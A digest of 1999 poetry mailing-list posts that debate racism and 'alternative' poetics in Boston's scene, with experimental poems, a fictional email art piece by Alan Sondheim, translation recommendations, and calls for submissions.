THE WORD MADE FLESH by Johanna Drucker. 1996. Artist's book; text and layout by Drucker. 12 1/2" x 10 1/2", 24 pp. 500 copies. Hardback with letterpress dust jacket. ISBN: 1-887123-09-1. Was: $60 NOW: $30

SALE ENDS AUGUST 20, 1999.

PAYMENT MUST ACCOMPANY ORDER. We accept: checks, Visa & Mastercard. Shipping is $2 per order, flat rate, domestic. Overseas shipping will be determined at the time of your order.

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Contact us via email: [redacted] or phone: [redacted], operators are standing by.
For more information about any book see our website:
http://www.granarybooks.com

Many thanks and best wishes!

Steve Clay
Granary Books
568 Broadway #403
NY NY 10012

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145. **Maria Damon**

Re: Boston poetry community as part of racist Boston? Geez.

Wed 11 Aug 1999

At 4:15 PM -0400 8/11/99, David Kirschenbaum wrote:
>>Karen Kelley wrote:
>
>>Being from Boston, this post caught my eye. I guess I'll say it flat >out:
>>Boston is the most racist place I've ever lived. Granted, I >went from
>>there to New York & on to San Francisco--so maybe Boston >just looks bad by
>>comparison. It all seemed quite civilized on the >surface: the
>>neighborhoods were segregated and everyone knew which >lines not to cross.
>>Maybe it's changed since I left 15 years ago, >but I kind of doubt it.
>
>I'm not from Boston, and, hell, as a Yankees fan in 1978 even owned a
>"Boston Sucks" T-shirt, until my mother found out about it and made my
>sister take it back, but geez, no matter how racist Boston may be --and I've
>heard horror stories from many former residents, and, back to baseball, the
>Red Sox were even the last team to integrate, Pumpsie Green in 1959, if
>memory serves me right, a full 12 years after Jackie Robinson and Larry
>Doby--but from the poetic community I know their isn't even a subtle form of
>racism. None. Zip. Nada.
>The ideas of neighborhoods being segregated and knowing the uncrossable
>lines relates to just about any major metropolis, including San Francisco
>and New York, each of which I've lived in, the latter for most of my live.
>Instead, again, I think it's simply ignorance rather than racism, that at
>times leads to non-diverse events and publications, sometimes even my own.
>It takes an extra effort to be inclusive, be it simply through inquiry or

>attending more ethnically and racially diverse reading series.
>Be Good,
>David

well, i gotta back karen up on this; being from boston (or rather newton, the "golden ghetto" of the greater boston area) i can attest to the sharp divisions in neighborhoods --more so than in SF or NYC. however, there are other forms of racism, such as in the Twin Cities where everything's supposed to be so nicey nice. the neighborhoods aren't as sharply divided, but people are almost wilfully naive and want to deny difference wherever they find it.

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146. A H Bramhall
I Guess I'll Say It Flat Out
Wed 11 Aug 1999

---

true as any shit can be: the
streets of Boston are racist. I
myself saw Mass Ave
act out. all the streets
have frat parties and
stupid central heating. the trees
in fair Boston are
sadly reluctant to
accept change. many
of the buildings
have issues. Boston Harbour
ignores castanets, Logan Airport
rolls over for thunder, the Fleet Centre is
where people die
deader than dead, and the arhythmic
parsimony of local names
rewards only the enclosed.
people aren't people
in any determined way
here. the things
in the sky
fall rapidly.
pity only exists far,
far to the west
because improvement is so
human. the tone of what
happened 15

years ago
broaches the new dynamics
of concern, totally
reeking of the
eternal blah blah
how's your stupid cat?
the Boston
Public Gardens has a
darkness that cannot be relieved
by mere rare questionable
sunshine. the tone
of every car is careless and
sour. don't ask about
any window, they are
ALL THE SAME. every shopping bag
contains an urge to
prepare a final draft. the word 'every'
is spoken every (hah!)
three seconds and
the books of Boston, each damn
hole of them, are indented with indiscriminate
malice. purple haze is a river
kinder than the Charles.
John Coltrane came to
town and said QUIXOTIC while
angrily flipping the bird. Elvin
keeping time said
yeah. words choose new
routes here. no one (boxed redoubt) lives
true life, the geese say SUCK, the SWANS remove to
poetic realms, the pigeons indubitably
have no rest in the perfect
nest. the world is so
finely wrought in smallness
that every tallish
structure within the
city limits
bows to the stress-fractured
creeps who own the vocabulary
now and forever. and that
is how it is: one crowd is
always better than

another. expertise
wins. bonus points
when you supplicate to
the answer. smooth things
are marvelous.

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147. Kathy Lou Schultz
Re: Lynn Miller's strong stuff
Wed 11 Aug 1999

Lynn Miller=Kevin Magee
if it matters
^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

>From: KENT JOHNSON <[redacted]>
>To: [redacted]
>Subject: Lynn Miller's strong stuff
>Date: Tue, Aug 10, 1999, 10:34 AM
>

> *Impressed and intrigued by Lynn Miller's pieces on the List*
> *of past couple or three weeks, a bit surprised no one else has*
> *commented. Very different and daring it seems to me. What seems new*
> *is how an over-drived analytical/historical bent exudes an odd and*
> *compelling lyricism, though that suggests too much that the latter is*
> *the byproduct of the former. Maybe it's the other way around, which*
> *would make it more interesting, actually.*
> *Whatever the case may be, I'm sure other people are noticing too.*
> *Keep it moving, Lynn Miller, whoever you are.*
>
> *Kent*

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148. Alan Sondheim
eXchange
Wed 11 Aug 1999

==\==\=

eXchange

Date: Wed, 11 Aug 1999 22:29:52 -0400 (EDT)
From: Alan Sondheim <[redacted]>
To: Julu <[redacted]>
Subject: mailme: Wed Aug 11 22:29:52 EDT 1999

mailme: Wed Aug 11 22:29:52 EDT 1999

Date: Wed, 11 Aug 1999 22:30:49 -0400 (EDT)
From: Alan Sondheim <[redacted]>
To: Julu <[redacted]>
Subject: ARE

ARE YOU THERE?

Date: Wed, 11 Aug 1999 22:31:14 -0400 (EDT)
From: Alan Sondheim <[redacted]>
To: Julu <[redacted]>
Subject: JULU?

JULU? JULU? THIS IS NIKUKO. ARE YOU THERE?

Date: Wed, 11 Aug 1999 22:31:36 -0400 (EDT)
From: Alan Sondheim <[redacted]>
To: Julu <[redacted]>
Subject: PHONE

PHONE RINGS. SOMEONE GET IT.

Date: Wed, 11 Aug 1999 22:32:04 -0400 (EDT)
From: Alan Sondheim <[redacted]>
To: Julu <[redacted]>
Subject: I

I HAVE BETTER THINGS TO DO -

(THERE'S A PACKAGE ARRIVED. I GOT THE CALL FROM DMITRI. THERE'S A BOMB IN IT. I HAVE TO FIGURE THIS OUT. I'VE GOT TO CALL THE OTHERS. I'VE GOT BETTER THINGS TO DO.)

↑ Index

149. **Lynn Miller**
"I think I'll shut up now"
Wed 11 Aug 1999

EMMA GRAMMATICA

Did you get used to words, using them?
The vast warehouse that the past is
if the past is not peripheral, like another
existence which was really ours--people

you have seen for a brief period of time
or even if only Once Upon a Time, at cafes
or bookstores or in houses you would never
set foot in again. He belonged, then,

not to the circle he'd made a point of leaving,
since here he had a place and in the class
to which he belonged. She must know
that he needed her to reject him, needed

that explosive charge to escape at all,
and everything depended on the velocity.
I let him luxuriate in the consciousness
of that insult, for such a chronicle I would need

a scale as large as life that came into view
with my pen. His fanaticism about freedom
made any permanent intimacy with another
person impossible--the guilt he has forgotten

and yet fraternally into the soft or roaring
decimating an Expressionism as old as Art
itself and found whenever unregulated "e/motion"
outweighs reason, the pure subject, wilderness

of the Subjected and caught in the content
as real signs and as signs of something (humanly)
"real"--as us? Or was all the philosophy
a philanthropy of the irrational which takes pity

on it and incorporates it into the philosopher
who bends over it? I thought about it all day,
that what was intended in 1912-22,
how the high and low pressure systems

were stages of a single system and not
as separate as Ron put it in his temporary
instructions. It sounds a lot more grand
when you announce a new system instead

of an innovation designed to "supplement"
the pre-existing one. They weren't getting

enough pressure from the low-pressure line,
and how the high and low work together

is what I was working on in Works and Days.
The high pressure line pushes the vapors
but where? The low pressure line follows
with a void, push and pull the whole principle.

It's like that concept of a backflush then purge
that you stumbled on in Louisville.
"It's basic," a worker told me in Illinois.
"You have to go in both directions."

Georg Kaiser

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150. **Alan Sondheim**

eXchange - follow-up - please read

Thu 12 Aug 1999

==\==\=

eXchange - follow-up - please read

Oh this is so stupid because I have a couple of programs that allow me to send mail to myself so I thought I'd dredge up some memories of films I made at UCLA in 1981-82; I decided to make a film a week, and that's how I did films 1-37, all 16mm sound ranging from 3 minutes to probably 20 or so - anyway I was reading Christian Metz at the time and thinking about ter- rorism which is always relevant in LA and everywhere now, and I wrote through this character called Dmitri at times, that wasn't his real name - and there were phonecalls, "Hello Hello, It's Dmitri, yes, the package has arrived," and I'd get the phone or Sung-Ja would but of course there would be no one on the other end and the phone wouldn't ring at all or maybe someone would say "ring ring" off-screen or even I'd say it before I picked up the phone -

So here I am doing another short-circuit and wondering what will come of it and surely here comes Dmitri and Julu and Nikuko dragged in from the other worlds altogether, all of them in the space - of course there are no bombs - our neighborhood has a "bomb-like record" - the World Trade Center (WTC) bombing was planned in part a couple of blocks from here, and a small cell was found in the other direction, a bout five blocks away, working on blowing up the subway system, specifically the B train at the Pacific Street stop (I take it all the time), because a lot of Jews took it (which was news to me, time for reschedule) -

Anyway so here comes this incoming (shades of war, stealth technology, bombers and fighters), and I make a dialog out of it - making sure that there are the usual incompletions, spaces, edges to the text - difficult to do in small texts - but it worked, using this small program, I'd just type ./.mailme THE ACTION IS NEXT TUESDAY and it would arrive with the Subject: THE set up, and the rest of the text following "in the body of the message" - saved it/them altogether -

But it's a weakness of mine, this urgency, desperation - writing texts as if they mattered, life-and-death-struggles, the last words spoken by the last person on earth (it doesn't matter, no recipient, lost in the looped black holes forever, router down! router down!) - but putting this/ that package together took some time - maybe not enough - anyway you've seen the results - do what you may with them - the content's not real - is irreal - hyperreal - surreal - you can almost feel the trill of the rrr's as everything gets ready to go off (that urgency again) - somewhere people are being killed - you can count on it -

Plans as stupid as this collage - attempt at a text - idiocy, stupidity - the bungle, the kludge ...

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151. Tisa Bryant

Accessibility, Inclusivity, The Seen Scene

Thu 12 Aug 1999

The "guard/garde" in van- and avant- tend to do just that. It's hard to think of the words as having anything to do with "open"; they seem to work against insistence. Vanguard, at the front, standing along the curve, bordering on, bordering from, in relation to the center of concentric understanding, and bound by it until movement occurs, then starting over. The ins and outs.

As I said in my post, I was one of the few, meaning three or four out of a possible 15, experimenting writers within the DRC, so said content in the Reading Series far outweighed that of the workshops/work produced. While a reunion of the DRC might be intriguing to some, its occurence at the next Alt Bo Po conference would yield yet another thread like the one currently being knotted here.

I did not mean to imply that Boston's poetry scene, or its poets, were racist simply by living in a place with Boston's reputation. The DRC & RS came about out of lack, and to "break down the elitist aura surrounding (Black) literary figures." Bring 'em "home", make 'em accessible. So non-academic folks and academics could hear some poetry and meet the poets without feeling unwelcome, undereducated, or too poor. Much like, in varying respects, the

Poetry Project, or the Unterberg/Y series, or Small Press Traffic, or what Aaron Kiely put together, or any other such thing going on in this world. Kiely created an event that made sense to him (and who knows who declined for whatever reason to attend?), invited people he knew, and will continue to expand and evolve as organizes future conferences, as David Kirschenbaum said.

What is intriguing to me, although it's great that he's open to suggestions, is how he (or anyone) feels/thinks out the "alternative" in Boston (or anywhere) and what kinds of writers/work will be encouraged by the conferences, who will come and branch out, from the universities and from the 'hoods. Here alliances between Kiely, Lansing and Corbett could yield much, but I think Kiely's vision, and support of it, to be more important. I echo Linda Russo here, and what I think Kevin Killian was getting at.

There's got to be something to get to. Where is that? Home can work just as well as anywhere, if one is comfortable there, of one's own making or ad/a/o/ption.

Here I must point out that the quality of poetic life in Boston may simply not sustain many for very long. (why people leave places) It can't be the weather, which is just as bad if not worse in Buffalo. So, Jacques, back to curriculum/influence, or something. Point(s) well taken. I wish Alt Bo Po the best, count Aaron as a burgeoning force to be reckoned with, and hope to see for myself some day what happens there.

The ethnicity & innovation issue (together and separately) is about inclusivity, but not ethnicity as alternative in and of itself. Here, the DRC references do not serve well. Certainly there have been some changes since The New American Poetry, or Gross & Quasha's Open Poetry, in which Black poets appeared together in the back of the book, instead of within the categorical sections in which they best fit, a move that at once showcased an impressive group of Black experimentalists and relegated them to an unfortunate and historically loaded space. But certain blindnesses still persist. Also too are the refusals by mainstream of-color editors to include same experimentalists in the publications they produce(d). This cannot be ignored.

Also again, one must be seen to be part of the scene, be seen as part of the scene and seen well once seen there, understood to fit. (Back to Dodie Bellamy's persona post). It's easy to say that there are "no" or "few" (blank) writers, but then, how does one know, in publishing, especially if said writer doesn't dally with the usual signifiers in a recognizable way, if at all, goes by a first initial and non-identifiably ethnically specific last name, and/or if one doesn't show up on the scene? What is happening outside of the seen, and outside of the scene, and what does that look/sound like? How does physical presence come to be privileged over the arrival of text in this regard? This said

specifically regarding inclusion/exclusion and writers of color, but also as a general query on the function of "centers", in this context.

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

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152. **Jeffrey Jullich**
Farm Implements? -Reply
Thu 12 Aug 1999

>>> John Tranter <[redacted]> 07/30/99 09:16am >>>
Jeffrey Jullich <[redacted]> mentioned in
his survey
of Scandanavian poetry the line

"He offers a smile, mild
/ as pick-axe handles a / mile wide which kindles/ the hide of rutabegas"

As a long-time fan of John Ashbery, I'm a little concerned that the spelling of

rutabagas

is getting abraded here. We don't have them in Australia -- we have Swedes and turnips, but not rutabagas -- but that's no reason to become careless about our treasury of English spellings.

Anyone care to comment?
best,
JT

The OED lists 1799 as the earliest citation for "The new turnip, called roota baga". As "ruta-baga", it has appeared in poetry no less illustrious than Shelley's (Oed. Tyr. 1. 47):

Hog-wash or grains, or ruta-bagas, none
Has yet been ours since your reign begun

later in poetry no less whimsical than Ogden Nash's 1951 "Family Reunion":

We gobbled like pigs
On rutabagas and salted figs.

However, since ~brassica napus~ is also defined by the OED and the Encyclopedia Brittanica as "the Swedish turnip" (see http://www.eb.com:180/bol/topic?asmbly_id=15299 for a lovely illustration of ~brassica rapa~), the name is originally derived from a West Gotland dialect of Swedish, and perhaps we should be less protectionist about "our treasury of English spellings": often vestiges of an earlier etymology can resurrect in mispronunciations or deviant spellings.

I'm distressed, though, that I cannot find a journal article I read on "Farm Implements and Rutabagas", by Reva Wolf. It appeared in a literary journal that I chanced upon in our Periodicals Room, but now I can't remember which. If I remember correctly, she argues that there's a link to an Andy Warhol painting with, I think, the word "rutabagas" in it, or perhaps Popeye or some other element from the poem. John disavowed any connection or knowledge of the painting, but she prints a photograph of a Thanksgiving dinner party where he is seated in front of the suspect painting.

He was working at ~Art News~ at the time, and may have said that the title came from a Dutch or Flemish canvas in a catalogue he was editing at the time; but Reva Wolf again traces down the original to find that any such Old Master was in fact titled "Farm Implements and ~Vegetables~ in a Landscape", or such, so that his recounting of it was a double invention: he may have revised the title of the Dutch canvas itself in that catalogue.

I'm drawing on an imperfect memory of the article here, so if anyone can help out with the proper Wolf citation, we could learn more about those rutabagas. I'm sure they're delicious with drawn butter.

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153. Jeffrey Jullich
"*alternative*"
Thu 12 Aug 1999

>>> "Maria Damon (Maria Damon)" <[redacted]>
08/09/99 05:25pm >>> "alternative" does tend to mean a certain alternative, namely, an "experimental" style. like "avant garde."

With all of these various commentaries on the use of the phrase "alternative poetry"--- isn't this use of "alternative" derivative, though, borrowed from the marketing of contemporary music? It isn't as though poets themselves had

hatched this usage, the way "Vorticist" or such may have been a genuine self-coined appellation. It's being patched in from the language at large, where it already has its politicized functions.

In the NY area at least, there are radio stations, more and more actually, which play what they call "alternative" rock; it's pretty much what used to be called "punk", with a dash of occasional "metal." I have the impression that with "alternative music" the marketers use the word to soften the scary edge they don't want to name: "punk." And I would suspect that, in its "pure" form, the same might be true of "alternative poetry."

Where "avant-garde" or even "experimental" may have suggested something contestatory, "defiant," or antagonistic to a status quo, the danger with a term like "alternative" is that it makes things sound as though these were arbitrary choices that one might wobble back and forth between casually: Coke/Pepsi ideology. It isn't dialectical anymore; it's styled as a mere matter of taste and whim, that you can switch the channel to "alternative" for a while if you get tired of mainstream, or whatever. Spice things up.

What is being elided is that an authentic "avant-garde" might actually be meant as ~"subversive,"~ the concept of "revolutionary" art, that it is seeking to change the whole rules of the game, and wasn't served up as a diversion. "Alternative," like "pluralistic," is a troublingly ~umbrella~ term, to my thinking: I thought Jacques' helpful postings correctly implied that there are poets who are writing essentially normative and conservative poetry, who are all too happy to slip under the tent skirts of a bohemia, out of embarassment or plain obliviousness to their "complicity" in perpetuating/reproducing things as they are, or for other reasons.

In short, what I am trying to say is that "alternative" is a ~vanilla-izing~ of something perhaps much more bitter and tonic than that. Or, it is a repackaging of (malgre lui) mainstream castaways who otherwise would have been lost against the mainstream's more exclusionary publishing odds. The "radical" that has lost its fight becomes "alternative."

Why ~can't~ a conference bill itself as "Subversive" or "Insurrectionist"? The fading of that sensibility may have a lot to do with the latter generational "directionlessness" that is also being discussed under this Boston theme.

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154. **Michael Magee**

thoughts on BoPo and points distant

Thu 12 Aug 1999

Thinking about all this talk of BoPo. Wanted to cast my one vote of encouragement to Jacques for taking on the difficult role of instigator - essentially what he was saying was, hey, at the moment, this BoPo space has trouble accomodating/engaging a poet like me - and I think anytime a poet as intelligent and interesting as Jacques attempts to make room for himself in a particular "scene" there's at least an opportunity for that scene to react/expand in such a way that it becomes more interesting. In any event, the result here has been some very interesting posts, Brain Stefans' among many others. What seems to have been established, though others may disagree, is that, for a variety of reasons (and I doubt it owes much to any particular poet(s)'s malice) some writers who attempt to interact with BoPo - those who take language writing to be a major influence on their work, for instance, or those writing out of a tradition where African-American writers are front and center (and these are not mutually exclusive categories) - have felt alienated from whatever there is of a Boston scene.

Then again, there's been the suggestion that there really *isn't* a Boston scene - certainly not a "school" - not necessarily a bad thing: trying to write one's poems as a fourth-generation NY Schooler or whatever can't be a whole lot of fun, confining (those of you doing this, or putting "NY School" on your business cards, cease immediately!). But the idea that a critical mass of like-minded poets in Boston would simply be stifling is a bad one. Likewise the idea that older writers within the academy are simply courted for their "clout" by younger writers seeking such clout. Jacques is right when he says that this is mostly an anti-academic truism which, even if it's valid in some cases, impedes potentially valuable relationships.

Jacques mentioned Bob Perelman's role in the Penn/Philly poetry community and I can say this, having been in that community for the past five years: that when Bob got tenure at Penn many younger writers I know were invigorated not because he would now have "clout" but because this terrific poet with a lot to say would now probably be in Philly for a long time, rather than, say, Santa Cruz. Folks well known to this list like Steve Evans, Jennifer Moxley, Heather Fuller, etc, have been kind in saying, Hey, there really is something interesting going on in Philly - and I'm struck by how accidental that "something" was. There was Bob. Rachel Duplessis was at Temple. Ron Silliman moved to the area. Gil Ott had been there as a buoy much longer than anyone. These people weren't a committee doling out prises for godssake, they were poets with a lot of interesting, ideas, stories, and most of all *poems*! Tisa mentioned how the Dark Room Writers Collective, and the poets they were interested in, were an

enigma to most of the Boston poetry community. But for us, well, Gil had published Harryette Mullen's S*PeRM**K*T and MUSE & DRUDGE, so she was front and center from the beginning, and what might discover many other great poets (of color and otherwise) by considering Mullen's work as a point in a nexus and then fishing around for more points.

The Writers House at Penn came about and that was a space which provided some cohesiveness - the space being more important than the money for readings (which really wasn't/isn't that much, ask the people who've read there!). Louis Cabri had come to Penn already with a lot of experience, poems, and knowing a shitload of people, and he started PHILLY TALKS; I started COMBO; Kristen Gallagher started HANDWRITTEN PRESS and a million other things. So there were some forums which, as many of you have suggested along the way, helped buoy whatever sense of community we had going. And things could be done: Louis's dueling writers in PT was taken as a suggestion of who to pay attention to and who to read, etc, in addition to being an event where ideas could be hashed out. Lot's of NY people, D.C. people, Buffalo people coming through. Kristen, Farah Griffin and I interviewed Harryette for the first issue of COMBO and that was my way of saying - hey, this is what/who we should be paying attention to - likewise bringing Mackey, DiPalma to read. But *everyone* did this. Temple people were coming around, partly because Kerry Sherin, a grad student at Temple, became director of Writers House. Chris and Jenn McCreary started doing IXNAY. Kyle Conner and Greg Fuchs started the Highwire Gallery reading series.

Then, there was Kristen Gallagher's insistence that Philly itself was not to be ignored, that rather than lament that it wasn't NY or what have you, we ought to *ground* ourselves in it - at least that's how I was hearing her. And this, for me anyway, opened up avenues whereby things as diverese (or related?) as Philly's very underrated (and inexpensive) jazz scene or the activities of the Kensington Welfare Rights Union (with whom Kristen, Mytili Jagannathan, and , again accidentally, or coincidentally, my wife) could be treated as actions/activisms which might mediate/integrate-with the symbolic action of poems.

Why am I saying all this? It just seemed to me useful example in contradistinction to the current situation in Boston. In my own mind right now it seems like there are maybe 25 poets or so in or connected to Philly whose projects are quite various but who have enough in common in terms of social and aesthetic views to want to be talking to another and enough *differences* along these lines to keep that dialogue *productive*. And they have forums to support the dialogue. So, thinking of what Juliana Spahr said a while back about virtual communities, even though I now live in Rhode Island, if I figured myself as centered in any particular scene it would be the Philly scene, quite

happily, though like Jacques I hope to make a little room for myself around these northern parts and hope Helen Vendler goes to her final resting place (Brookline?) to be replaced by Nate Mackey (Jacques might have a different choice in this regard). I say all this knowing that there are many interesting poets in and around Boston but that a really hopping community of poets - which, whatever anyone says, is a *good thing* is hard to come by and, as I say, pretty accidental.

-Mike.

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155. **David Kirschenbaum**
No Sleep 'Til Brooklyn
Thu 12 Aug 1999

What's up with Brooklyn poets' author bios saying they live in New York City? Technically this is true, but, damn, as one born in Brooklyn, have some pride in your borough. I was at Coliseum Books by Columbus Circle here in Manhattan the other day (the best new poetry selection this side of St. Marks Books) and found titles by Chris Stroffolino and, I think, Ange Mlinko that say they live in New York City (no one down here ever uses the distinction Manhattan when referring to the borough). A minor quibble, perhaps, but strange one would feel the need to identify themselves as living elsewhere.

Be Good,
David

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156. **Tom Orange**
19th C. Po&sie
Thu 12 Aug 1999

---

mike,

there are single-author works a-plenty, good anthologies a little harder to come by.

as to the latter, if you can scare up a copy of it at a secondhand store, _An anthology of French poetry from Nerval to Valery in English translation_ ed. angel flores (Garden City, N. Y., Doubleday, 1962) is pretty good: the translations are in verse and if i remember right not presented en face but

gathered together in the back of the book. they're also done by a variety of translators and hence can be uneven.

baudelaire: the two by-now standard editions are the one jackson and marthiel matthews edited for new directions in the mid-fifties (multiple reprintings, including a selected) and richard howard's edition for godine in 1985. the matthews' edition suffers, again, from some unevenness due to its being a gathering of different translators' work. howard on the other hand tends to spiff baudelaire up too much for those who like their baudelaire more ragged and soiled. translations by arthur symons and the george dillon-edna st.v millay collaboration are interesting more for historical purposes. i'd stay away from william h. crosby's edition for boa, his insistence on metrical faithfulness forces him into some serious padding. another version that's cheap and reliable is the oxford world's classics tr. james mcgowan. but you asked about plain prose translations: in which case, francis scarfe's edition for anvil in 1986 -- he does plain prose translations at the bottom of the page.

rimbaud:
the penguin collected poems (tr. oliver bernard) also does plain prose translations at the bottom of the page...

laforgue: penguin has just brought out a laforgue that i havent read yet but also hass plain prose at the bottom. otherwise, the one i have and like a lot is the peter dale translations publ. by anvil (1986)

verlaine: a tougher case. for a long time the only one you could find was the c.f. macintyre versions put out by u.california press in the 1950s. (and ditto for his mallarme translations). there's a new one from uchicago press, tr. norman shapiro, that i've only seen but not read...

mallarme: henry weinfeld's collected poems from ucal is a fine edition. another good one, tho again out of print, is the penguin edition w/ translations by anthony hartley i think his name is.

happy hunting,
tom orange / wash,dc

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157. **Tom Orange**

Call for Entries: "Poevisioni elettroniche" (fwd)

Thu 12 Aug 1999

---------- Forwarded message ----------
From: "ART ELECTRONICS" <[redacted]>
To: <[redacted]>

Subject: CALL FOR ENTRIES "Poevisioni elettroniche"
Date: Tue, 10 Aug 1999 01:38:42 +0200

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In cooperation with Karenina.it Experimental Net-zine

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Caterina Davinio Director

You can contribute to the festival "Poevisioni elettroniche" (Art Electronics and Others Writings)

1. by sending your video-work (if you are a videoartist, a computer artist, a web artist or a videopoet-writer-performer) recorded on a vhs standard (PAL) videocassette, preferably not over 10 minutes,

2. by sending a short theoretical or informative report on your artistic or organisational experiences (a 10 min. vhs-standard videoreport is also possible),

3. by proposing artists, if you are a curator or an art critic (Fax: Italy-039-323389), engaged in research projects that utilise new technologies, with particular attention, not to the image only, but also to the script, the communication and to visual and video poetry (book excluded).

1. All forms of image, sound, experimental music and "writing" are admitted (computerart and graphics, videoart, videopoetry, virtual reality, various kind of telematic interaction, videoperformance, theatrical multi-medial experiments, installations), provided that recorded on standard VHS videocassette (PAL) (for sonore poetry an audiocassette is also possible). The original text and an English or French translation should be enclosed.

2. The collected material, even if not utilised, will not be returned, it will enter in the festival videotheque.

3. The selected works will be projected in an itinerant exhibition.

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(Australia), R. Daolio, C. Davinio, V. Fagone, F. Galluzzi, M. M. Gazzano, C. Infante, S. Lischi, M. G. Mattei, M. Mori, R. Sardo.

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4. The archives material could be utilised in future in non-profit-making cultural activity, informing the artists.

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158. David Buuck
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Thu 12 Aug 1999

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159. David Buuck
Tripwire 4: call for work
Thu 12 Aug 1999

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tripwire: a journal of poetics

edited by Yedda Morrison & David Buuck

call for submissions----

Tripwire 4: WORK

Material v. intellectual labor. Class, production, productivity, economy. Practice, handiwork, wordwork, work ethic, workplace, co-worker. What is significance of one's work to one's writing? Of one's writing as work? Labor, capital, use value, industry. How does one participate in and against local and global economoies/cultures? Work force, workbook, workshop. In a small-press economy, what are the standards for "just compensation," for exploitation? Knowledge industries. Cultural workers. "Model post-industrial employees?" Exploitation, task, effort. Mission, service, vocation, career(ism). End- product, by-product, opus, oeuvre.

Tripwire invites submissions of essays, translations, interviews, art & book reviews, bulletins, letters responding to previous issues, and visual art. Visual art submissions should be reproducible in B&W; artists are encouraged to include a statement about their work. At this time we are not accepting unsolicited poetry for publication. All submissions should include a hard copy.

Deadline for submissions to Tripwire 4 is March 1, 2000.

TRIPWIRE
c/o Morrison & Buuck
PO Box 420936
SF CA 94142-0936

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160. David Buuck
back issues of tripwire
Thu 12 Aug 1999

tripwire: a journal of poetics

edited by Yedda Morrison & David Buuck

There are still a few copies remaining of Tripwire 2: Writing as Activism. Featuring work by Steve Farmer, Ben Friedlander, Danielle Collobert, Rodrigo Toscano, Brenda Iijima, Brian Kim Stefans, Rod Smith, Noah de Lissovoy, Kristin Prevallet, Jack Hirschman, Lawless Crow (w/John Lowther & Pandy Prunty), Dodie Bellamy, Robert Fitterman, Elizabeth Treadwell & Sarah Anne Cox, Patrick Durgin, Kathy Lou Schultz, Pamela Lu, Juliana Spahr, Louis Cabri, Chris Chen, Lytle Shaw, Anselm Berrigan.

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161. Michael Franco
get the wagons ina circle: re BOSTON
Thu 12 Aug 1999

Having taken a few days or so to let this swirl in my mind I think that aside from my annoyance at the previous blanket dismissal of the Festival---- ----which did its work ...there was good bad & lame by known & unknown ..(remember one of the featured west-coast readers going on for 45 minutes when every one else was cutting back to a poem or two???) to wonderful moments like Windy Kramer's or Dan Bouchard's reading (which show his work to be Moving) Scalapino or Hejinian ...or Lease's short lovely burst or Gander's or... or...or... & having produced Word of Mouth on my own for ten years I know what Aaron K does / did in setting all of this into motion & then getting the hell out of the way....& just letting what ever happens happen

I return to my original post and this thought: if we went through the whole weekend for nothing more than to have been there for the Sat night read it was

a memorable success... We were there - we gathered together- we met each other (for some again) shared food poetry and a remarkable set of readings

Now lets us return to the other thread running through here & that is the "Boston" scene & then the whole concept of "scene"

.

it was great to see the post on the DARK ROOM COLLECTIVE as there were many many memorable events there... I often scheduled Word of mouth events so that I could attend the darkroom.... They had a resident jazz band who were truly fine & readers as diverse in their work as one could ask for.

Both the Blacksmith House reading series (no university affiliation) and Stone Soup (no university) (Gail Mazer & Jack Powers respectively), have continued for over two decades... when Bill Corbett was working with Gail the series was inspired... & continually swirled differing poetries -both local & international- together... Stone Soup has been the only truly open sign up reading in continuous operation...

Gian Lombardo's DOLPHIN MOON series ran for years at the Cambridge YMCA (unfunded- not university affiliated)

Joe Torra- in addition to working with me for a time at WoM held a very good series of readings at his home...mostly locals or Providence/ Ny poets but all with decent crowds as well as producing the run of lift & I have for years now done in-home evenings . . .dinner & a reading for 10 or so & just this past spring started the Oxford street talk series with Gerrit Lansing & Diane di Prima as the openers & this will as time goes on continue.

& then there is Word of Mouth which ran at Tapas for near ten years & continues in various forms...most recently in residence at Watersone's Books...

in the decade at Tapas (which began in 87 but only started to really take shape in March of 88 with the Duncan Memorial) I presented local & national poets as well as Reading versions of Spicer's AFTER LORCA [87] A COMPLETE CORRESPONDENCE - Olson, Corman, Creeley [88] Stein's TENDER BUTTONS & 4 SAINTS- an afternoon of S. Jonas films of LZ, RD, Wieners, OHara, Whalen, Ginsberg, Olson etc. from the 66 NET series.... I met Corbett at the inception of the series he came & read for the opener and he pushed readers my way for the entire time - & a wide variety of same...in fact I can not imagine Word of Mouth existing without him; Torra I first met there...via Ferrini who was and remains active here; Ange Mlinko called me up one evening when Leslie Scalapino was reading.... & later that year came on board to work with me .... Torra started the planning for lift during a dinner (for Proust if memory serves) Ed Barrett [whose book COMMON PRELUDES is a small wonder for many of us; Christopher Sawyer-Laucanno, Patricia Pruitt, Dan Bouchard, Joe Lease,

(another early meeting via Cid Corman) Robert Pinsky, Askhold Melnyczuk [AGNI] & Lombardo who is now producing a prose poem mag called KEY(SATCH)le, Gerrit Lansing was as he remains a key source & frequent guest, Fanny Howe (a resident then). Gerald Burns was a huge source & friend over the years he lived here & always pushed the series.... the composer Eli Yarden, artists Katha Seidman & Ben Watkins & renaissance Man Thorpe Feidt -all contributed as they continue to do to the scene... There were readings by Blaser, Creeley, di Prima, Eshleman, Irby, Mackey, Waldman, Gander, Elmslie, Drucker. . .I could go on & on see LINGO 7 [On Boston] for a more extensive list; or for work from this scene as I see ia portion of it see TALISMAN 16, (fall 1996).

The scene has ebbed and flowed as it continues to. if there is a center it its the very lack of a center- which those I know best greatly enjoy. A large number of us have no university affiliations at all (Torra & I both wait tables for $$). & if there is a poetics (& I would argue that there is whilst Torra or Corbett would be vehement that there is not) it is in the primacy of the Work of the work. Simply: either it is interesting or not- regardless of its form. For me the currency is challenge & learning...i.e. am I /do I - schools theories et al are meaningless. But the Work at work... that is the center.... Poetry is the center. The scene is uneven...lacks uniformity & is various in form... a cosmos. If you need personalities with clout (I don't) there would be Corbett's dinner table to supply sustenance ... from Auster to Cooledge to S Heaney to Ashbery. Or there would be the figure of Guston...the example of his working (see Corbett's Guston book). Wieners, Olson, Lansing, Jonas, Blaser, Spicer, (all spent time here) are all claimed presences (and for me Duncan)

people, like poetries, come and go- as does energy. there are weeks when nothing is happening and others when there is a reading to be at every night.

At Word of Mouth I was constant in greeting new faces and attempting to hook people up... this is the function of a series as far as I am concerned.

